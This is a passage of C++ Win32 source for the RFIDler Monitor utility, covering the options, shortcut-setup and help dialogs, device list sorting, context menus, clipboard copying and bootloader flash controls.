EnableWindow(GetDlgItem(hWnd, IDC_APPLY), FALSE);\n                ApplyEnabled[currPage] = FALSE;\n                // only apply changes to currently visible options page\n                DevTracker.SetOptions(*newOptions,\n                    (currPage == 0) ? DeviceTracker::SetShowOptions : DeviceTracker::SetNotifyOptions);\n                handled++;\n                break;\n            case IDC_CHECK_SHOW_ALL:                \n            case IDC_CHECK_SHOW_NONE:\n            case IDC_DEFAULT:\n                // send to the current options page\n                PostMessage(hWndOptionsPage[currPage], iMsg, wParam, lParam);\n                handled++;\n                break;\n            }\n        }\n        break;\n\n    case WM_APP: // enable apply button (request from current options page)\n        if (!ApplyEnabled[currPage]) {\n            EnableWindow(GetDlgItem(hWnd, IDC_APPLY), TRUE);\n            ApplyEnabled[currPage] = TRUE;\n        }\n        handled++;\n        break;\n\n    case WM_NOTIFY:\n        if (wParam == IDC_TABOPTIONS) {\n            NMHDR *pNm = (NMHDR *) lParam;\n            switch(pNm->code) {\n            case TCN_SELCHANGE:\n                int index = TabCtrl_GetCurSel(hWndTab);\n                switch (index) {\n                case 0:\n                case 1:\n                    // flip tabs, update Apply button state\n                    ShowWindow(hWndOptionsPage[0], index == 0 ? SW_SHOWNA :SW_HIDE);\n                    ShowWindow(hWndOptionsPage[1], index == 1 ? SW_SHOWNA :SW_HIDE);\n                    if (ApplyEnabled[currPage] != ApplyEnabled[index]) {\n                        EnableWindow(GetDlgItem(hWnd, IDC_APPLY), ApplyEnabled[index]);\n                    }\n                    currPage = index;\n                    break;\n                }\n                handled++;\n                break;\n            }\n        }\n        break;\n\n    case WM_CLOSE:\n        EndDialog(hWnd, 0);\n        handled++;\n        break;\n\n    case WM_DESTROY:\n        // destroy windows & release memory for option pages\n        for (int i = 0; i < KNumPropPages; i++) {\n            if (hWndOptionsPage[i]) {\n                DestroyWindow(hWndOptionsPage[i]);\n                hWndOptionsPage[i] = NULL;\n            }\n        }\n        break;\n    }\n\n    // 1 = handled here, 0 = pass to default handling\n    return handled;\n}   /* OptionsDlgProc() */\n\n\n/* retry wrapper around GetModuleFileName() with growing buffer */\nBOOL GetProgramFilename(wchar_t **fname)\n{\n    unsigned sz = 64;\n    DWORD    res;\n    wchar_t  *f;\n\n    do {\n        f = (wchar_t *) calloc(sz, sizeof(wchar_t));\n        if (f == NULL) {\n            /* OOM */\n            return FALSE;\n        }\n\n        res = GetModuleFileName(NULL, f, sz);\n        if ((res > 0) && (res < sz)) {\n            res += 1; // account for null terminator\n\n            // try to shrink allocation \n            if ( (sz - res) >= 16) {\n                wchar_t *f2 = (wchar_t *) realloc(f, res * sizeof(wchar_t));\n                if (f2) {\n                    f = f2;\n                }\n            }\n\n            *fname = f;\n            return TRUE;\n        }\n\n        free(f);\n        f = NULL;\n        if (res == 0) {\n            // function error\n            break;\n        }\n\n        sz = (sz + (sz / 2) + 15) & ~15; // increase buffer a bit, rounding to nice binary values\n    } while (sz < 50000);\n\n    /* function failed or buffer is ridiculously large */\n    return FALSE;\n}\n\n\nvoid CheckProgramShortcuts(const wchar_t *shortcut, BOOL *aDeskLinkExists, BOOL *aStartlinkExists)\n{\n    // check if shortcuts already exist\n    *aDeskLinkExists = CheckLinkname(shortcut, CSIDL_DESKTOP);\n    *aStartlinkExists = CheckLinkname(shortcut, CSIDL_STARTUP);\n}\n\n\nBOOL CheckLinkname(const wchar_t *shortcut, int csidl)\n{\n    wchar_t *linkname = CreateLinkname(shortcut, csidl);\n    BOOL result = FALSE;\n\n    if (linkname) {\n        if (INVALID_FILE_ATTRIBUTES != GetFileAttributes(linkname)) {\n            result = TRUE;\n        }\n        free(linkname);\n    }\n    return result;\n}\n\n\nwchar_t *CreateLinkname(const wchar_t *shortcut, int csidl)\n{\n    ITEMIDLIST* pidl;\n    wchar_t lpPath[1024];\n    wchar_t *link = NULL;\n\n    HRESULT hRes = SHGetSpecialFolderLocation(NULL, csidl, &pidl);\n    if (SUCCEEDED(hRes)) {\n        if (SHGetPathFromIDList( pidl, lpPath )) {\n            // +3 for '\\' and double nil terminator\n            size_t len = 3 + wcslen(lpPath) + wcslen(shortcut);\n            link = (wchar_t *) calloc(len, sizeof(wchar_t));\n            if (link) {\n                wcscpy_s(link, len, lpPath);\n                wcscat_s(link, len, _T(\"\\\\\"));\n                wcscat_s(link, len, shortcut);\n                link[len-1] = 0; // repair the nil placed by calloc & zapped by _s() functions\n            }\n        }\n\n        // release memory for PIDL list\n        IMalloc* palloc;\n        hRes = SHGetMalloc(&palloc);\n        palloc->Free( (void*)pidl );\n        palloc->Release();\n    }\n    return link;\n}\n\n\nvoid CreateOrBreakLink(IShellLink *psl, const wchar_t *shortcut, int csidl, BOOL aMakeShortcut)\n{\n    IPersistFile *ppf;\n    wchar_t     *linkname = CreateLinkname(shortcut, csidl);\n    HRESULT     hres;\n\n    if (linkname) {\n#ifdef _DEBUG\n        PrintDebugStatus(_T(\"linkname = %s\\n\"), linkname);\n#endif\n        if (aMakeShortcut) {\n            hres = psl->QueryInterface(IID_IPersistFile, (void**)&ppf);\n            if (SUCCEEDED(hres)) {\n                // Save the link by calling IPersistFile::Save.\n                hres = ppf->Save(linkname, FALSE);\n#ifdef _DEBUG\n                if (!SUCCEEDED(hres)) {\n                    PrintDebugStatus(_T(\"IID_IPersistFile.Save fail 0x%x\\n\"), hres);\n                }\n#endif\n                ppf->Release();\n#ifdef _DEBUG\n            } else {\n                PrintDebugStatus(_T(\"QueryInterface(IID_IPersistFile... fail 0x%x\\n\"), hres);\n#endif\n            }\n        } else {\n            // use shell to remove shortcut\n            SHFILEOPSTRUCT sfos;\n\n            ZeroMemory(&sfos, sizeof(sfos));\n            sfos.wFunc = FO_DELETE;\n            sfos.pFrom = linkname;\n            sfos.fFlags = FOF_FILESONLY | FOF_ALLOWUNDO | FOF_NOCONFIRMATION | FOF_NOERRORUI;\n            SHFileOperation(&sfos);\n        }\n        free(linkname);\n    }\n}\n\n\nvoid CreateProgramShortcuts(const wchar_t *fname, const wchar_t *shortcut, BOOL aDesktopShortcut, BOOL aStartupShortcut,\n    BOOL aDeskLinkExists, BOOL aStartlinkExists)\n{\n    const wchar_t *desc = _T(\"RFIDler Monitor\");\n\n    // something has changed from old settings?\n    if (fname && ((aDesktopShortcut != aDeskLinkExists) || (aStartupShortcut != aStartlinkExists))) {\n        IShellLink *psl;\n\n        // connect to Windows Shell\n        HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,\n            IID_IShellLink, (void**)&psl);\n\n        if (SUCCEEDED(hres)) {\n            // Set the path to the shortcut target and add the description. \n            hres = psl->SetPath(fname); \n#ifdef _DEBUG\n            if (!SUCCEEDED(hres)) {\n                PrintDebugStatus(_T(\"SetPath(%s) fail 0x%x\\n\"), fname, hres);\n            }\n#endif\n            hres = psl->SetDescription(desc); \n#ifdef _DEBUG\n            if (!SUCCEEDED(hres)) {\n                PrintDebugStatus(_T(\"SetDescription(%s) fail 0x%x\\n\"), desc, hres);\n            }\n#endif\n\n            // create or remove shortcuts\n            if (aDesktopShortcut != aDeskLinkExists) {\n                CreateOrBreakLink(psl, shortcut, CSIDL_DESKTOP, aDesktopShortcut);\n            }\n            if (aStartupShortcut != aStartlinkExists) {\n                // TODO: add Argument(s) to indicate launch from Startup Shortcut\n                CreateOrBreakLink(psl, shortcut, CSIDL_STARTUP, aStartupShortcut);\n            }\n            psl->Release();\n        }\n    }\n}\n\n\nBOOL CALLBACK InstallConfigDlgProc (\n    HWND hWnd,\n    UINT iMsg,\n    WPARAM wParam,\n    LPARAM // lParam\n)\n{\n    const wchar_t   *shortcut = _T(\"RFIDler Monitor.lnk\");\n    static wchar_t  *fname = NULL;\n    static BOOL     deskLinkExists;\n    static BOOL     startlinkExists;\n\n    int handled = 0;\n\n    // Dialog for configuring program shortcuts\n    switch (iMsg) {\n    case WM_INITDIALOG:\n        // init displayed path\n        if (!fname) {\n            GetProgramFilename(&fname);\n        }\n        if (fname) {\n            SetWindowText(GetDlgItem(hWnd, IDC_PROGPATH), fname);\n        }\n        // init radio buttons set deskLinkExists & startlinkExists\n        CheckProgramShortcuts(shortcut, &deskLinkExists, &startlinkExists);\n        CheckRadioButton(hWnd, IDC_DESKNO, IDC_DESKYES, deskLinkExists ? IDC_DESKYES : IDC_DESKNO);\n        CheckRadioButton(hWnd, IDC_STARTNO, IDC_STARTYES, startlinkExists ? IDC_STARTYES : IDC_STARTNO);\n        return TRUE;\n\n    case WM_COMMAND:\n        {\n            int wID = LOWORD (wParam);\n            //int wNotification = HIWORD(wParam);\n            //HWND hChild = (HWND) lParam;\n\n            switch (wID) \n            {\n            case IDOK:\n                CreateProgramShortcuts(fname, shortcut,\n                    BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_DESKYES), \n                    BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_STARTYES),\n                    deskLinkExists, startlinkExists);\n                EndDialog(hWnd, 0);\n                handled++;\n                break;\n            case IDCANCEL:\n                EndDialog(hWnd, 1);\n                handled++;\n                break;\n            case IDC_APPLY:\n                CreateProgramShortcuts(fname, shortcut,\n                    BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_DESKYES), \n                    BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_STARTYES),\n                    deskLinkExists, startlinkExists);\n                EnableWindow(GetDlgItem(hWnd, IDC_APPLY), FALSE);\n                handled++;\n                break;\n            case IDC_DESKNO:\n            case IDC_DESKYES:\n            case IDC_STARTNO:\n            case IDC_STARTYES:\n                if ( (deskLinkExists != (BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_DESKYES))) ||\n                        (startlinkExists != (BST_CHECKED == IsDlgButtonChecked(hWnd, IDC_STARTYES)))) {\n                    EnableWindow(GetDlgItem(hWnd, IDC_APPLY), TRUE);\n                } else {\n                    EnableWindow(GetDlgItem(hWnd, IDC_APPLY), FALSE);\n                }\n                break;\n            }\n        }\n        break;\n\n    case WM_CLOSE:\n        EndDialog(hWnd, 0);\n        handled++;\n        break;\n\n    case WM_DESTROY: // dialog closing\n        ReleaseString(fname);\n        handled++;\n        break;\n    }\n\n    // 1 = handled here, 0 = pass to default handling\n    return handled;\n}   /* InatallConfigDlgProc() */\n\n\nvoid ReleaseString(wchar_t *&string)\n{\n    if (string) {\n        free(string);\n        string = NULL;\n    }\n}\n\n// program description and copyright licensing info\nstatic const wchar_t *helpTitle = _T(\"Help About RFIDLer Monitor %u.%u.%u\");\nstatic const wchar_t *helpText =\n    _T(\"RFIDler LF appears to the computer as a USB serial port, and works with a standard \\r\\n\")\n    _T(\"Windows driver for USB serial ports, usbser.sys.\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"This RFIDler Monitor presents a list of the currently connected RFIDler LF devices. \\r\\n\")\n    _T(\"If an RFIDler LF is connected and working it tells you what COM port name Windows \\r\\n\")\n    _T(\"has assigned to the device. If the RFIDler is connected in Bootloader mode, waiting \\r\\n\")\n    _T(\"to be programmed this is shown too. (Some other Microchip development tools in \\r\\n\")\n    _T(\"Bootloader mode look the same to the Monitor and are therefore shown as well.)\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"Options add to the display such things as Microchip development boards such as UBW32,\\r\\n\")\n    _T(\"other serial ports or modems, similar serial devices remembered by Windows but not\\r\\n\")\n    _T(\"currently connected. \\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"Copyright (c) 2014 - 2015 Anthony Naggs. All rights reserved.\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"Limited assignment of rights under the 'BSD 2-Clause License':\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"Redistribution and use in source and binary forms, with or without modification, are \\r\\n\")\n    _T(\"permitted provided that the following conditions are met:\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"1. Redistributions of source code must retain the above copyright notice, this list of\\r\\n\")\n    _T(\"     conditions and the following disclaimer.\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"2. Redistributions in binary form must reproduce the above copyright notice, this list\\r\\n\")\n    _T(\"     list of conditions and the following disclaimer in the documentation and/or other\\r\\n\")\n    _T(\"     materials provided with the distribution.\\r\\n\")\n    _T(\"\\r\\n\")\n    _T(\"THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\r\\n\")\n    _T(\"\\\"AS IS\\\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT \\r\\n\")\n    _T(\"LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR \\r\\n\")\n    _T(\"A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT \\r\\n\")\n    _T(\"HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \\r\\n\")\n    _T(\"SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT \\r\\n\")\n    _T(\"LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, \\r\\n\")\n    _T(\"DATA, ORPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY \\r\\n\")\n    _T(\"THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT \\r\\n\")\n    _T(\"(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE \\r\\n\")\n    _T(\"OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\");\n\n\n\n/* IDD_HELP_ABOUT */\nINT_PTR CALLBACK AboutDlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM /* lParam */)\n{\n#define KTitleSize 100\n    static wchar_t dialogTitle[KTitleSize];\n\n    switch (iMsg) {\n    case WM_INITDIALOG:\n        {\n            wchar_t *fname = NULL;\n            BOOL    gotfileversion = FALSE;\n\n            // get version number from exe\n            if (GetProgramFilename(&fname)) {\n                DWORD verSize = GetFileVersionInfoSize(fname, NULL);\n                if (verSize > 0) {\n                    void *buffer = calloc(1, verSize);\n\n                    if (buffer) {\n                        void *fInfo = NULL;\n                        UINT rxInfoSize = 0;\n\n                        if (GetFileVersionInfo(fname, 0, verSize, buffer) && \n                                VerQueryValue(buffer, _T(\"\\\\\"), &fInfo, &rxInfoSize) && fInfo && rxInfoSize) {\n                            VS_FIXEDFILEINFO *info = (VS_FIXEDFILEINFO *) fInfo;\n\n                            if (info->dwSignature == 0xfeef04bd) {\n                                StringCchPrintf(dialogTitle, KTitleSize, helpTitle,\n                                    LOWORD(info->dwProductVersionMS),\n                                    HIWORD(info->dwProductVersionLS),\n                                    LOWORD(info->dwProductVersionLS));\n                                gotfileversion = TRUE;\n                            }\n                        }\n  \n                        free(buffer);\n                    }\n                }\n                free(fname);\n            }\n\n            if (!gotfileversion) {\n                // at least at 1.0.3\n                StringCchPrintf(dialogTitle, KTitleSize, helpTitle, 1, 0, 3);\n            }\n            SetWindowText(hDlg, dialogTitle);\n\n            SetWindowText(GetDlgItem(hDlg, IDC_HELP_TEXT), helpText);\n            SetFocus( GetDlgItem (hDlg, IDOK));\n        }\n        // return TRUE  unless you set the focus to a control\n        return FALSE;\n\n    case WM_COMMAND: \n        switch (LOWORD(wParam)) {\n        case IDOK :\n            EndDialog (hDlg, wParam);\n            /* handled message */\n            return 1;\n        }\n        break;\n    }\n\n    return 0;\n}   /* AboutDlgProc() */\n\n\nvoid SetStatusBarPartitions(HWND hWndStatusBar, int parts)\n{\n    int sbWidths[4] = { 150, 350, 510, 0 };\n    SendMessage(hWndStatusBar, SB_SETPARTS, parts, (LPARAM) sbWidths);\n}\n\n\nvoid LVColumnClickAndSort(int sortColumn, HWND hwndFrom)\n{\n    int oldOrder = DevTracker.GetViewSortOrder();\n    int sortOrder = sortColumn;\n    BOOL reverse = false;\n\n    // user clicked on column header, so sort by chosen criterion\n    if (oldOrder == sortColumn) {\n        sortOrder = sortColumn + lvRevDispName;\n        reverse = true;\n    }\n\n    // remember sort order, trigger timed state save\n    DevTracker.SetViewSortOrder(sortOrder);\n    // actually ysort items\n    ListView_SortItems(hwndFrom, DeviceInfo::CompareProc, (LPARAM)(sortOrder));\n\n    // move sort order mark between columns\n    HWND hWndHdr = ListView_GetHeader(hwndFrom);\n    if (hWndHdr) {\n        HDITEM hdrItem;\n        hdrItem.mask = HDI_FORMAT;\n        int oldColumn = (oldOrder < lvRevDispName) ? oldOrder : (oldOrder - lvRevDispName);\n\n        if ((oldColumn != sortColumn) && Header_GetItem(hWndHdr, oldColumn, &hdrItem) && (hdrItem.fmt & (HDF_SORTUP | HDF_SORTDOWN))) {\n            hdrItem.fmt &= ~(HDF_SORTUP | HDF_SORTDOWN);\n            Header_SetItem(hWndHdr, oldColumn, &hdrItem);\n        }\n\n        if (Header_GetItem(hWndHdr, sortColumn, &hdrItem)) {\n            if (reverse) {\n                hdrItem.fmt &= ~HDF_SORTUP;\n                hdrItem.fmt |= HDF_SORTDOWN;\n            } else {\n                hdrItem.fmt &= ~HDF_SORTDOWN;\n                hdrItem.fmt |= HDF_SORTUP;\n            }\n            Header_SetItem(hWndHdr, sortColumn, &hdrItem);\n        }\n    }\n}\n\n\nvoid LVInfoTip(LPNMLVGETINFOTIP pGetInfoTip)\n{\n    /* LVN_GETINFOTIP is broken as lParam member field is zero, not the value\n        set when the List View Item was created.\n        So we need to ask for the lParam, to get the pointer to DeviceInfo,\n        so we know what infotip text to send back!\n    */\n    DeviceInfo *dev = DevInfoFromListItem(pGetInfoTip->hdr.hwndFrom, pGetInfoTip->iItem);\n\n    if (dev) {\n        // with our DeviceInfo pointer we can now get the tooltip message\n        const wchar_t *infoTip = dev->InfoTip();\n\n        StringCchPrintf(pGetInfoTip->pszText, pGetInfoTip->cchTextMax, _T(\"%s\"), infoTip);\n#ifdef _DEBUG\n        PrintDebugStatus(_T(\"InfoTip = %s\\n\"), infoTip);\n#endif\n    }\n}\n\n\nvoid LVRightClickContextMenu(HINSTANCE hInst, HWND hWnd, LPNMITEMACTIVATE lpnmitem)\n{\n#ifdef _DEBUG\n    PrintDebugStatus(_T(\"NM_RCLICK iItem = %i, iSubItem = %i, lParam = %p, point = %i,%i\\n\"),\n        lpnmitem->iItem, lpnmitem->iSubItem, lpnmitem->lParam,\n        lpnmitem->ptAction.x, lpnmitem->ptAction.y);\n#endif\n    /* \n        lpnmitem->lParam points to something, but doesn't appear to be useful.\n        Need to map mouse coordinates to our Device Info.\n    */\n    DeviceInfo *dev = DevInfoFromListPoint(lpnmitem->hdr.hwndFrom,\n        lpnmitem->iItem, lpnmitem->ptAction);\n\n    if (dev) {\n        ContextMenuPopup(hInst, hWnd, lpnmitem->hdr.hwndFrom, dev, lpnmitem->ptAction);\n    }\n}\n\n\nvoid LVSelectedItemContextMenu(HINSTANCE hInst, HWND hWnd, HWND hWndLV)\n{\n    int count = ListView_GetItemCount(hWndLV);\n    int i;\n\n    for (i = 0; i < count; i++) {\n        if (ListView_GetItemState(hWndLV, i, LVIS_SELECTED)) {\n            DeviceInfo *dev = NULL;\n            POINT cliPt;\n\n            dev = DevInfoFromListItem(hWndLV, i);\n            if (dev && ListView_GetItemPosition(hWndLV, i, &cliPt)) {\n                cliPt.x += 40;  // move menu origin to not hide item text\n                cliPt.y += 8;\n                ContextMenuPopup(hInst, hWnd, hWndLV, dev, cliPt);\n            }\n            break;\n        }\n    }\n}\n\n\nvoid LVEmptyViewTest(NMLVEMPTYMARKUP *emptyMarkup)\n{\n    // BUG: this doesn't have any effect, from documentation we expect this text to show when ListView is empty\n    StringCchCopy(emptyMarkup->szMarkup, L_MAX_URL_LENGTH, _T(\"No connected RFIDlers\"));\n    emptyMarkup->dwFlags = EMF_CENTERED;\n}\n\n\nvoid ContextMenuClipboardSelect(HWND hWndLV, DeviceInfo *dev, int selection)\n{\n    const wchar_t *strings[5] = { NULL, NULL, NULL, NULL, NULL };\n    const wchar_t *string;\n    int i = 0;\n\n    switch(selection) {\n    case ID_CONTEXT_COPYDEV_DETAILS: // skip Bootloader typename, as it just repeats DisplayName info\n    case ID_CONTEXT_COPYPORT_DETAILS:\n        strings[i++] = dev->DisplayName();\n        if (selection == ID_CONTEXT_COPYPORT_DETAILS) {\n            strings[i++] = dev->DevTypeName();\n        }\n        strings[i++] = dev->StateName();\n        string = dev->LocationString();\n        if (string) {\n            strings[i++] = string;\n        }\n        strings[i++] = dev->SerialNumber();\n        break;\n    case ID_CONTEXT_COPYPORT_NAME:\n        string = dev->PortName();\n        if (string) {\n            strings[i++] = string;\n        }\n        break;\n    //case ID_CONTEXT_COPYALL_DETAILS: // possible future fn, needs ListView iterator & string info buffers\n    }\n\n    // found strings to place in Clipboard?\n    if (i > 0) {\n        int j = 0;\n        size_t len = 0;\n\n        for (j = 0; j < i; j++) {\n            // count the characters, tab field separators, & NIL\n            len += 1 + wcslen(strings[j]);\n        }\n\n        HGLOBAL hglbCopy;\n        hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len * sizeof(wchar_t));\n\n        if (hglbCopy && OpenClipboard(hWndLV)) {\n            EmptyClipboard();\n\n            // Lock the handle and copy the text to the buffer. \n \n            LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy); \n\n            for (j = 0; j < i; j++) {\n                if (j > 0) {\n                    StringCchCat(lptstrCopy, len, _T(\"\\t\"));\n                    StringCchCat(lptstrCopy, len, strings[j]);\n                } else {\n                    StringCchCopy(lptstrCopy, len, strings[j]);\n                }\n            }\n\n            GlobalUnlock(hglbCopy); \n \n            // Place the handle on the clipboard.\n#ifdef _UNICODE\n            SetClipboardData(CF_UNICODETEXT, hglbCopy);\n#else\n            SetClipboardData(CF_TEXT, hglbCopy);\n#endif\n\n            CloseClipboard();\n        }\n    }\n}\n\n\nvoid ContextMenuPopup(HINSTANCE hInst, HWND hWnd, HWND hWndLV, DeviceInfo *dev, POINT scrPt)\n{\n    assert(dev);\n    int defaultitem = 0;\n\n    // context menu\n    LPCWSTR lpMenuName = NULL;\n\n    ClientToScreen(hWndLV, &scrPt);\n\n    switch (dev->DeviceType()) {\n    case DevRfidlerCom:\n        lpMenuName = MAKEINTRESOURCE(IDR_RFIDLER_CONTEXT);\n        defaultitem = ID_CONTEXT_RFIDLER_DETAILS;\n        break;\n    case DevMicroDevBoard:\n    case DevOtherSerial:\n        lpMenuName = MAKEINTRESOURCE(IDR_COMPORT_CONTEXT);\n        defaultitem = ID_CONTEXT_PORT_DETAILS;\n        break;\n    case DevMicroBootloader:\n        lpMenuName = MAKEINTRESOURCE(IDR_BOOTLOADER_CONTEXT);\n        defaultitem = ID_CONTEXT_BOOTLOADER_DETAILS;\n        break;\n    case DevUnconfigRfidlerCom:\n    case DevUnconfigMicroDevBoard:\n    default:\n        // TODO Context Menu for Unconfigured device? Maybe help text?\n        break;\n    }\n\n    HMENU hMenu = LoadMenu(hInst, lpMenuName);\n    if (hMenu) {\n        HMENU hMenuTrackPopup  = GetSubMenu(hMenu, 0);\n\n        if (defaultitem) {\n            // highlight default menu action in bold\n            SetMenuDefaultItem(hMenuTrackPopup, defaultitem, FALSE);\n        }\n\n#if !defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) && !defined(_DEBUG)\n        // disable development feature for release build\n        switch (dev->DeviceType()) {\n        case DevRfidlerCom:\n        case DevMicroBootloader:\n            // disable BOOTLOADER FLASH menu item\n            RemoveMenu(hMenuTrackPopup, ID_CONTEXT_OPEN_FOR_REFLASH, MF_BYCOMMAND); \n            break;\n        }\n#endif\n\n        // ensure device is not freed whilst we are using it\n        dev->LockForContextMenu();\n\n        int selection = TrackPopupMenu(hMenuTrackPopup, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD,\n            scrPt.x, scrPt.y, 0, hWnd, NULL);\n#ifdef _DEBUG\n        PrintDebugStatus(_T(\"Popup selection = %i\\n\"), selection);\n#endif\n        if (selection > 0) {\n            switch(selection) {\n            case ID_CONTEXT_COPYDEV_DETAILS:\n            case ID_CONTEXT_COPYPORT_DETAILS:\n            case ID_CONTEXT_COPYPORT_NAME:\n            //case ID_CONTEXT_COPYALL_DETAILS: // possible future fn, needs ListView iterator & string info buffers\n                ContextMenuClipboardSelect(hWnd, dev, selection);\n                break;\n            case ID_CONTEXT_PORT_DETAILS: // TODO implement this !!!\n            case ID_CONTEXT_RFIDLER_DETAILS:\n            case ID_CONTEXT_BOOTLOADER_DETAILS:\n#pragma warning(\"implement Device Details dialog\")\n                break;\n            case ID_CONTEXT_REBOOT_FOR_REFLASH:\n#pragma warning(\"implement opening COM port & rebooting Rfidler for Bootloader\")\n                break;\n            case ID_CONTEXT_BOOTLOADER_REBOOT:\n#pragma warning(\"implement opening Bootloader & rebooting Rfidler\")\n                break;\n#if defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) || defined(_DEBUG)\n            case ID_CONTEXT_OPEN_FOR_REFLASH:\n                if (!dev->DeleteOnUnlock()) {\n                    // launch Bootloader Flash dialog\n                    BootloaderParams bl;\n                    bl.blDev = dev;\n                    DialogBoxParam(hInst, MAKEINTRESOURCE(IDD_BOOTLOADERFLASH), hWnd, BootloaderDlgProc,\n                        (LPARAM) &bl);\n                }\n                break;\n#endif\n            }\n        }\n\n        dev->UnlockForContextMenu();\n    }\n}\n\n\nvoid LVItemDoubleClick(HINSTANCE hInst, HWND hWnd, LPNMITEMACTIVATE lpnmitem)\n{\n     // launch default menu action, if any\n#ifdef _DEBUG\n    PrintDebugStatus(_T(\"LVN_ACTIVATE iItem = %i, iSubItem = %i, lParam = %p, point = %i,%i\\n\"),\n        lpnmitem->iItem, lpnmitem->iSubItem, lpnmitem->lParam,\n        lpnmitem->ptAction.x, lpnmitem->ptAction.y);\n#endif\n    // as for Right Click lpnmitem->lParam not useful, need to map mouse coordinates to our Device Info.\n    DeviceInfo *dev = DevInfoFromListPoint(lpnmitem->hdr.hwndFrom,\n        lpnmitem->iItem, lpnmitem->ptAction);\n\n    if (dev) {\n        switch (dev->DeviceType()) {\n        case DevRfidlerCom:\n        case DevMicroDevBoard:\n        case DevOtherSerial:\n            // todo future enhancement, have a default menu item\n            break;\n        case DevMicroBootloader:\n#if defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) || defined(_DEBUG)\n            {\n                // launch Bootloader Flash dialog\n                BootloaderParams bl;\n                bl.blDev = dev;\n                DialogBoxParam(hInst, MAKEINTRESOURCE(IDD_BOOTLOADERFLASH), hWnd, BootloaderDlgProc,\n                    (LPARAM) &bl);\n            }\n#else\n            // suppress unreferenced variable warnings\n            hInst;\n            hWnd;\n#endif\n            break;\n        case DevUnconfigRfidlerCom:\n        case DevUnconfigMicroDevBoard:\n        default:\n            break;\n        }\n    }\n}\n\n\n// List View utility functions ...\nDeviceInfo *DevInfoFromListItem(HWND hWndLV, int iItem)\n{\n    if (iItem >= 0) {\n        LVITEM lvi;\n\n        ZeroMemory(&lvi, sizeof(LVITEM));\n        lvi.iItem = iItem;\n        lvi.mask = LVIF_PARAM;\n        if (ListView_GetItem(hWndLV, &lvi)) {\n            return (DeviceInfo *)lvi.lParam;\n        }\n    }\n    return NULL;\n}\n\n\nDeviceInfo *DevInfoFromListPoint(HWND hWndLV, int iItem, POINT pt)\n{\n    LVHITTESTINFO lvhti;\n\n    // iItem is already valid if clicked on left hand colmun\n    if (iItem >= 0) {\n        return DevInfoFromListItem(hWndLV, iItem);\n    }\n\n    // otherwise get item id from point first (iItem < 0)\n    lvhti.pt = pt;\n    ListView_SubItemHitTest(hWndLV, &lvhti);\n\n#ifdef _DEBUG\n    PrintDebugStatus(_T(\"LVHITTESTINFO iItem = %i, iSubItem = %i, flags = %x\\n\"),\n        lvhti.iItem, lvhti.iSubItem, lvhti.flags);\n#endif\n\n    if (lvhti.flags & LVHT_ONITEM) {\n        return DevInfoFromListItem(hWndLV, lvhti.iItem);\n    }\n\n    return NULL;\n}\n\n\nvoid BootloaderEnableBaseControls(HWND hDlg, BOOL enable)\n{\n     EnableWindow(GetDlgItem(hDlg, IDC_ERASE), enable);\n     EnableWindow(GetDlgItem(hDlg, IDC_BROWSE), enable);\n     EnableWindow(GetDlgItem(hDlg, IDC_REBOOT), enable);\n     EnableWindow(GetDlgItem(hDlg, IDC_SAVEHEX), enable);\n}\n\n\nvoid BootloaderEnableProgramControls(HWND hDlg, BOOL enable)\n{\n     EnableWindow(GetDlgItem(hDlg, IDC_PROGRAM), enable);\n     EnableWindow(GetDlgItem(hDlg, IDC_VERIFY), enable);\n     EnableWindow(GetDlgItem(hDlg, IDC_ERASEPROGRAMVERIFY), enable);\n}\n\n\nBOOL InitHexFileList(HWND hDlg)\n{\n    MonOptions& options = DevTracker.GetOptions();\n    int historyCount = options.HexFileHistoryCount();\n    BOOL result = FALSE;\n\n    if (historyCount) {\n        HWND hWndFileList = GetDlgItem(hDlg, IDC_HEX_READFILE);\n\n        // populate file history\n        for (int i = 0; i < historyCount; i++) {\n            wchar_t *filename = options.HexFileHistory(i);\n            if (-1 != SendMessage(hWndFileList, CB_ADDSTRING, 0, (LPARAM) filename)) {\n                result = TRUE;\n            }\n        }\n    }\n    return result;\n}\n\n\n// printf formatted messages to report area of installer's window\nvoid BootloaderStatus(HWND hWndStatus, const wchar_t *format, ...)\n{\n    HRESULT hr;\n    static wchar_t msgbuff[1024];\n    va_list argptr;\n    va_start(argptr, format);\n\n    hr = StringCbVPrintf(msgbuff, sizeof(msgbuff), format, argptr);\n    if (SUCCEEDED(hr)) {\n        SendMessage (hWndStatus, LB_ADDSTRING, 0, (LPARAM) msgbuff);\n    }\n}\n\n\n#if defined(ENABLE_BOOTLOADER_FLASH_DIALOGS) || 